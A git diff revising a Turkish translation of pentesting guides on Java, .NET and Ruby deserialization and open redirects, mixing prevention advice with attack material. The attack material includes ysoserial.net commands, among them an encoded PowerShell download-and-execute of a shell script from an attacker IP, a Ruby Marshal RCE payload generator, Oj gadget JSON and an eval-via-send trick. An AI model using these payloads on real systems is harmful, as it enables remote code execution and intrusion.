+523,9 @@ throw new java.io.IOException("Cannot be deserialized"); **`java.io.ObjectInputStream`'i Özelleştirmek**, deserialization süreçlerini güvence altına almak için pratik bir yaklaşımdır. Bu yöntem, aşağıdaki durumlarda uygundur: - Deserialization kodu kontrolünüz altındadır. -- Deserialization için beklenen sınıflar bilinmektedir. +- Deserialization için beklenen sınıflar biliniyor. -Deserialization'ı yalnızca izin verilen sınıflarla sınırlamak için **`resolveClass()`** yöntemini geçersiz kılın. Bu, yalnızca açıkça izin verilen sınıfların, aşağıdaki örnekte olduğu gibi, `Bicycle` sınıfına deserialization yapılmasını sağlar: +Sadece izin verilen sınıflara deserialization'ı sınırlamak için **`resolveClass()`** yöntemini geçersiz kılın. Bu, yalnızca açıkça izin verilen sınıfların, örneğin deserialization'ı yalnızca `Bicycle` sınıfı ile sınırlayan aşağıdaki örnekte olduğu gibi, deserialization'ını önler: ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { @@ -546,7 +546,7 @@ return super.resolveClass(desc); } } ``` -**Güvenlik Geliştirmesi için Java Ajansı Kullanımı**, kod değişikliği mümkün olmadığında bir geri dönüş çözümü sunar. Bu yöntem esasen **zararlı sınıfları kara listeye alma** için bir JVM parametresi kullanır: +**Güvenlik Geliştirmek için Java Ajanı Kullanma** kod değişikliğinin mümkün olmadığı durumlarda bir geri dönüş çözümü sunar. Bu yöntem esasen **zararlı sınıfları kara listeye alma** için bir JVM parametresi kullanır: ``` -javaagent:name-of-agent.jar ``` @@ -554,7 +554,7 @@ Dinamik olarak deserialization'ı güvence altına almanın bir yolunu sağlar, Bir örneği kontrol edin [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) -**Serileştirme Filtrelerinin Uygulanması**: Java 9, **`ObjectInputFilter`** arayüzü aracılığıyla serileştirme filtrelerini tanıttı ve serileştirilmiş nesnelerin deserialization'dan önce karşılaması gereken kriterleri belirlemek için güçlü bir mekanizma sağladı. Bu filtreler, deserialization süreci üzerinde ayrıntılı kontrol sunarak küresel veya akış başına uygulanabilir. +**Serileştirme Filtrelerinin Uygulanması**: Java 9, serileştirilmiş nesnelerin deserialized edilmeden önce karşılaması gereken kriterleri belirlemek için güçlü bir mekanizma sağlayan **`ObjectInputFilter`** arayüzü aracılığıyla serileştirme filtrelerini tanıttı. Bu filtreler, deserialization süreci üzerinde ayrıntılı kontrol sunarak küresel veya akış başına uygulanabilir. Serileştirme filtrelerini kullanmak için, tüm deserialization işlemlerine uygulanan küresel bir filtre ayarlayabilir veya belirli akışlar için dinamik olarak yapılandırabilirsiniz. Örneğin: ```java @@ -570,7 +570,7 @@ ObjectInputFilter.Config.setSerialFilter(filter); ``` **Dış Kütüphaneleri Kullanarak Güvenliği Artırma**: **NotSoSerial**, **jdeserialize** ve **Kryo** gibi kütüphaneler, Java deserialization'ını kontrol etme ve izleme için gelişmiş özellikler sunar. Bu kütüphaneler, deserialization'dan önce serileştirilmiş nesneleri analiz etme, sınıfları beyaz listeye alma veya kara listeye alma ve özel serileştirme stratejileri uygulama gibi ek güvenlik katmanları sağlayabilir. -- **NotSoSerial**, güvenilmeyen kodun çalıştırılmasını önlemek için deserialization süreçlerini engeller. +- **NotSoSerial**, güvenilmeyen kodun çalıştırılmasını önlemek için deserialization süreçlerini kesintiye uğratır. - **jdeserialize**, serileştirilmiş Java nesnelerinin deserialization'ını yapmadan analiz edilmesine olanak tanır ve potansiyel olarak zararlı içeriği tanımlamaya yardımcı olur. - **Kryo**, hız ve verimliliğe vurgu yapan alternatif bir serileştirme çerçevesidir ve güvenliği artırabilecek yapılandırılabilir serileştirme stratejileri sunar. @@ -581,11 +581,11 @@ ObjectInputFilter.Config.setSerialFilter(filter); - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) - Gadgetinspector hakkında konuşma: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) ve slaytlar: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) -- Marshalsec belgesi: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) +- Marshalsec makalesi: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Java ve .Net JSON deserialization **belgesi:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** konuşma: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) ve slaytlar: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Java ve .Net JSON deserialization **makalesi:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** konuşma: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) ve slaytlar: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - Deserialization CVE'leri: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## JNDI Enjeksiyonu & log4Shell @@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## JMS - Java Mesaj Servisi -> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürüm (Java EE) parçasıdır ve Sun Microsystems'ta geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Java EE tabanlı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında iletişimin gevşek bir şekilde bağlı, güvenilir ve asenkron olmasını sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürüm (Java EE) parçasıdır ve Sun Microsystems'te geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Java EE tabanlı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında iletişimin gevşek bir şekilde bağlı, güvenilir ve asenkron olmasını sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). ### Ürünler @@ -610,12 +610,12 @@ Bu ara yazılımı kullanarak mesaj gönderen birkaç ürün bulunmaktadır: ### İstismar -Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet bulunmaktadır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak zararlı nesneler serileştirebilirsiniz**.\ +Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet vardır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak kötü niyetli serileştirilmiş nesneler gönderebilirsiniz**.\ Bu, bu istismar sırasında **o mesajı kullanacak tüm istemcilerin enfekte olacağı** anlamına gelir. Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisini güvensiz bir şekilde deserialization yapıyorsa) ancak yine de zafiyeti istismar etmek için geçerli gadget'lar bulmanız gerekir. -[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç zararlı nesne serileştirerek bu hizmetlere bağlanmak ve saldırmak için** oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde ise çalışacaktır. +[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç kötü niyetli serileştirilmiş nesne göndererek bu hizmetlere bağlanmak ve saldırmak için** oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde bulunuyorsa çalışacaktır. ### Referanslar @@ -630,34 +630,34 @@ Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisi #### Beyaz Kutu -Kaynak kodu, aşağıdaki terimlerin geçişlerini kontrol etmek için incelenmelidir: +Kaynak kodu, aşağıdaki durumların varlığı için incelenmelidir: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` -Odak, türün kullanıcı kontrolündeki bir değişkenle belirlenmesine izin veren serileştiriciler üzerinde olmalıdır. +Odak, kullanıcı kontrolündeki bir değişken tarafından türün belirlenmesine izin veren serileştiriciler üzerinde olmalıdır. #### Siyah Kutu -Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedef almalıdır ve bu, deserialization yapılacak tür üzerinde kontrol sağlamaktadır. Bu, **JSON** veya `TypeObject` veya `$type` içeren **XML** yapıları gibi olabilir. +Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedef almalıdır; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, `TypeObject` veya `$type` içeren **JSON** veya **XML** yapıları dahil, ancak bunlarla sınırlı değildir. ### ysoserial.net -Bu durumda, **deserialization istismarlarını oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **örneğin Visual Studio kullanarak derlemelisiniz**. +Bu durumda, **deserialization istismarlarını oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **Visual Studio gibi bir programla derlemelisiniz**. -**ysoserial.net'in istismarını nasıl oluşturduğunu öğrenmek** isterseniz, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ın açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). +**ysoserial.net'in istismarını nasıl oluşturduğunu öğrenmek istiyorsanız**, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ın açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). **ysoserial.net**'in ana seçenekleri: **`--gadget`**, **`--formatter`**, **`--output`** ve **`--plugin`.** - **`--gadget`**, istismar edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komutları çalıştırmak için istismar edilecek sınıf/fonksiyonu belirtir). -- **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtmek için kullanılır (yüklemenin deserialization'ı için hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir). -- **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, yüklemeyi **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham yüklemeyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluk sorunları** yaşayabilirsiniz (HTB JSON kutusunda yükleme hem UTF-16LE hem de ASCII'de çalıştı ama bu her zaman çalışacağı anlamına gelmez)._ -- **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak** üzere eklentileri destekler, örneğin ViewState için. +- **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtmek için kullanılır (payload'ı deserialization yapmak için hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir). +- **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, payload'ı **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama) bu nedenle ham veriyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluk sorunları** yaşayabilirsiniz (HTB JSON kutusunda payload hem UTF-16LE hem de ASCII'de çalıştı ama bu her zaman çalışacağı anlamına gelmez)._ +- **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak üzere eklentileri destekler**; örneğin ViewState. #### Daha fazla ysoserial.net parametreleri -- `--minify`, **daha küçük bir yük** sağlayacaktır (mümkünse). -- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatörle kullanılabilecek tüm gadget'ları gösterecektir (bu durumda `Json.Net`). +- `--minify`, **daha küçük bir payload** sağlayacaktır (mümkünse). +- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatter ile kullanılabilecek tüm gadget'ları gösterecektir (`Json.Net` bu durumda). - `--sf xml`, bir gadget'ı (`-g`) belirtebilir ve ysoserial.net "xml" içeren formatörleri arayacaktır (büyük/küçük harf duyarsız). **ysoserial örnekleri** ile istismar oluşturma: @@ -679,7 +679,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** ayrıca her bir exploitin nasıl çalıştığını daha iyi anlamaya yardımcı olan **çok ilginç bir parametreye** sahiptir: `--test`\ -Bu parametreyi belirtirseniz **ysoserial.net** **exploit'i yerel olarak deneyecektir,** böylece payload'unuzun doğru çalışıp çalışmadığını test edebilirsiniz.\ +Bu parametreyi belirtirseniz **ysoserial.net** **exploit'i yerel olarak deneyecektir,** böylece yüklemenizin doğru çalışıp çalışmadığını test edebilirsiniz.\ Bu parametre faydalıdır çünkü kodu gözden geçirirseniz aşağıdaki gibi kod parçaları bulacaksınız ( [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) @@ -705,26 +705,26 @@ TypeNameHandling = TypeNameHandling.Auto return obj; } ``` -**Önceki kod, oluşturulan istismara karşı savunmasızdır.** Bu nedenle, bir .Net uygulamasında benzer bir şey bulursanız, muhtemelen o uygulama da savunmasızdır.\ -Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** deserialization istismarına karşı savunmasız olduğunu anlamamıza olanak tanır **ysoserial.net** tarafından oluşturulabilir. +In the **önceki kod, oluşturulan istismara karşı savunmasızdır**. Bu nedenle, bir .Net uygulamasında benzer bir şey bulursanız, muhtemelen o uygulama da savunmasızdır.\ +Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** **ysoserial.net** tarafından oluşturulan deserialization istismarına karşı savunmasız olduğunu anlamamıza olanak tanır. ### ViewState -[**.Net'in \_\_ViewState parametresini istismar etmeye nasıl çalışılacağı hakkında bu POST'a**](exploiting-__viewstate-parameter.md) bakın **rastgele kod çalıştırmak için.** Eğer **kurban makinesinin** kullandığı sırları **zaten biliyorsanız**, [**kod çalıştırmayı öğrenmek için bu yazıyı okuyun**](exploiting-__viewstate-knowing-the-secret.md)**.** +[**.Net'in \_\_ViewState parametresini istismar etmeye nasıl çalışılacağı hakkında bu POST'a**](exploiting-__viewstate-parameter.md) bakın **rastgele kod çalıştırmak için.** Eğer **kurban makinesinde kullanılan sırları zaten biliyorsanız**, [**kod çalıştırmayı öğrenmek için bu yazıyı okuyun**](exploiting-__viewstate-knowing-the-secret.md)**.** ### Önleme .Net'te deserialization ile ilişkili riskleri azaltmak için: - **Veri akışlarının nesne türlerini tanımlamasına izin vermekten kaçının.** Mümkünse `DataContractSerializer` veya `XmlSerializer` kullanın. -- **`JSON.Net` için `TypeNameHandling`'i `None` olarak ayarlayın:** %%%TypeNameHandling = TypeNameHandling.None%%% -- **`JavaScriptSerializer`'ı `JavaScriptTypeResolver` ile kullanmaktan kaçının.** -- **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilgili içsel riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir. +- **`JSON.Net` için `TypeNameHandling` değerini `None` olarak ayarlayın:** %%%TypeNameHandling = TypeNameHandling.None%%% +- **`JavaScriptSerializer` ile `JavaScriptTypeResolver` kullanmaktan kaçının.** +- **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilişkili riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir. - **Riskli özelliklere sahip türlerle dikkatli olun**, `Value` özelliği ile `System.ComponentModel.DataAnnotations.ValidationException` gibi, istismar edilebilir. -- **Tür örneklemesini güvenli bir şekilde kontrol edin** ki saldırganlar deserialization sürecini etkilemesin, bu da `DataContractSerializer` veya `XmlSerializer`'ı savunmasız hale getirebilir. +- **Tür örneklemesini güvenli bir şekilde kontrol edin**; bu, saldırganların deserialization sürecini etkilemesini önler ve bu durum `DataContractSerializer` veya `XmlSerializer`'ı bile savunmasız hale getirebilir. - **`BinaryFormatter` ve `JSON.Net` için özel bir `SerializationBinder` kullanarak beyaz liste kontrolleri uygulayın.** - **.Net içinde bilinen güvensiz deserialization aletleri hakkında bilgi sahibi olun** ve deserializer'ların bu türleri örneklemediğinden emin olun. -- **Potansiyel olarak riskli kodu** internet erişimi olan koddan izole edin, böylece bilinen aletlerin, örneğin WPF uygulamalarındaki `System.Windows.Data.ObjectDataProvider`, güvensiz veri kaynaklarına maruz kalmasını önleyin. +- **Potansiyel olarak riskli kodu** internet erişimi olan koddan izole edin, böylece `System.Windows.Data.ObjectDataProvider` gibi bilinen aletleri güvensiz veri kaynaklarına maruz bırakmaktan kaçının. ### **Referanslar** @@ -735,9 +735,9 @@ Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** deserializati ## **Ruby** -Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir bayt akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir bayt akışını tekrar bir nesneye dönüştürmek için kullanılır, bu işleme ise deserialization denir. +Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir bayt akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir bayt akışını tekrar bir nesneye dönüştürmek için kullanılır; bu işleme ise deserialization denir. -Serileştirilmiş nesneleri güvence altına almak için, **Ruby HMAC (Hash-Based Message Authentication Code)** kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır: +Serileştirilmiş nesneleri güvence altına almak için **Ruby, HMAC (Hash-Based Message Authentication Code)** kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır: - `config/environment.rb` - `config/initializers/secret_token.rb` @@ -815,18 +815,18 @@ require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` -Ruby On Rails'i istismar etmek için diğer RCE zinciri: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) +Diğer RCE zinciri Ruby On Rails'i istismar etmek için: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) ### Ruby .send() metodu -[**bu güvenlik raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, eğer bazı kullanıcıdan gelen temizlenmemiş girdi bir ruby nesnesinin `.send()` metoduna ulaşırsa, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir. +[**bu güvenlik açığı raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, eğer bazı kullanıcıdan gelen temizlenmemiş girdi bir ruby nesnesinin `.send()` metoduna ulaşırsa, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir. Örneğin, eval çağırmak ve ardından ruby kodunu ikinci parametre olarak vermek, rastgele kodun çalıştırılmasına olanak tanır: ```ruby .send('eval', '') == RCE ``` -Ayrıca, **`.send()`** yönteminin yalnızca bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne yöntemini çağırmak mümkündür.\ -Bunun için, bu gereksinimleri karşılayan **ilginç yöntemleri bulmak üzere nesnenin tüm yöntemlerini saymak** mümkündür. +Ayrıca, **`.send()`** metodunun yalnızca bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne metodunu çağırmak mümkündür.\ +Bunun için, bu gereksinimleri karşılayan **ilginç metodları bulmak üzere nesnenin tüm metodlarını listelemek** mümkündür. ```ruby .send('') @@ -854,7 +854,7 @@ Bir Ruby sınıfını nasıl [kirletebileceğinizi ve bunu burada nasıl kötüy ### Ruby _json kirlenmesi -Bir gövdeye hashlenemeyen bazı değerler, örneğin bir dizi gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adlı bir değer de ayarlaması mümkündür. Ardından, örneğin arka uç bir parametrenin doğruluğunu kontrol ederse ancak `_json` parametresini bir eylem gerçekleştirmek için de kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir. +Bir gövdeye, bir dizi gibi hashlenemeyen bazı değerler gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adlı bir değer de ayarlaması mümkündür. Örneğin, arka uç bir parametrenin doğruluğunu kontrol ederse ancak ardından `_json` parametresini bir eylem gerçekleştirmek için kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir. Daha fazla bilgi için [Ruby _json kirlenmesi sayfasını](ruby-_json-pollution.md) kontrol edin. @@ -862,9 +862,9 @@ Daha fazla bilgi için [Ruby _json kirlenmesi sayfasını](ruby-_json-pollution. Bu teknik [**bu blog yazısından**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) alınmıştır. -RCE elde etmek için güvenli olmayan bir deserialization sırasında kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek başka Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden her zaman serileştirilmediğinde çağrılan yöntemleri göstermektedir (temelde RCE elde etmek için kötüye kullanılacak işlev): +RCE elde etmek için güvenli olmayan bir deserialization sırasında kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek başka Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden her zaman serileştirilmediğinde çağrılan yöntemleri göstermektedir (temelde RCE elde etmek için kötüye kullanılacak fonksiyon): -
KütüphaneGirdi verisiSınıf içindeki başlatma yöntemi
Marshal (Ruby)Binary_load
OjJSONhash (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)
OxXMLhash (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)
Psych (Ruby)YAMLhash (sınıfın hash(map) içinde anahtar olarak yer alması gerekir)
init_with
JSON (Ruby)JSONjson_create ([json_create ile ilgili notlara bakın](#table-vulnerable-sinks))
+
KütüphaneGirdi verisiSınıf içindeki başlatma yöntemi
Marshal (Ruby)Binary_load
OjJSONhash (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)
OxXMLhash (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)
Psych (Ruby)YAMLhash (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)
init_with
JSON (Ruby)JSONjson_create ([json_create ile ilgili notlara bakın](#table-vulnerable-sinks))
Temel örnek: ```ruby @@ -888,7 +888,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağrısı yapan bir gadget sınıfı bulmak mümkün oldu. Bu, spec'i çağıracak ve fetch_path'i çağıracak şekildeydi; bu da rastgele bir URL almasını sağladı ve bu tür sanitasyonsuz deserialization zafiyetlerinin harika bir dedektörünü sağladı. +Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağrısı yapan bir gadget sınıfı bulmak mümkün oldu. Bu, spec'i çağıracak ve fetch_path'i çağıracak şekildeydi; bu da rastgele bir URL almasını sağladı ve bu tür sanitizasyon yapılmamış deserialization zafiyetlerinin harika bir dedektörü oldu. ```json { "^o": "URI::HTTP", @@ -900,7 +900,7 @@ Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağ "password": "anypw" } ``` -Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu, bunun başka bir gadget'ı kötüye kullanmak için bir gereklilik olduğu ve bunun bir RCE'ye dönüştürülmesi gerektiği bulundu: +Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu bulundu; bu, bunu tam bir RCE'ye dönüştürmek için başka bir gadget'ı kötüye kullanma gereksinimidir, şöyle bir şeyle: ```json { "^o": "Gem::Resolver::SpecSpecification", diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 12c18d73c..70b72a63b 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -1,11 +1,11 @@ -# Açık Yönlendirme +# Open Redirect {{#include ../banners/hacktricks-training.md}} -## Açık yönlendirme +## Open redirect -### Yerel sunucuya veya keyfi alan adlarına yönlendirme +### localhost veya keyfi alanlara yönlendirme {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md @@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29 ";alert(0);// ``` ## Open Redirect svg dosyaları yükleme -```markup +```html [!WARNING] -> Bu **cheatsheet, her zafiyet için kapsamlı bir test listesi önermemektedir**, sadece bazı temel testler sunmaktadır. Daha kapsamlı testler arıyorsanız, önerilen her zafiyete erişin. +> Bu **cheatsheet, her güvenlik açığı için kapsamlı bir test listesi önermemektedir**, sadece bazı temel testler sunmaktadır. Daha kapsamlı testler arıyorsanız, önerilen her güvenlik açığına erişin. > [!CAUTION] -> **XXE gibi İçerik Türüne bağlı enjeksiyonlar bulamayacaksınız**, çünkü genellikle xml verisi gönderen bir istek bulursanız bunları kendiniz deneyeceksiniz. **Veritabanı enjeksiyonları** da burada bulamayacaksınız, çünkü bazı içerikler yansıtılsa bile bu, arka uç DB teknolojisine ve yapısına büyük ölçüde bağlıdır. +> **XXE gibi İçerik Türüne bağlı enjeksiyonlar bulamayacaksınız**, çünkü genellikle xml verisi gönderen bir istek 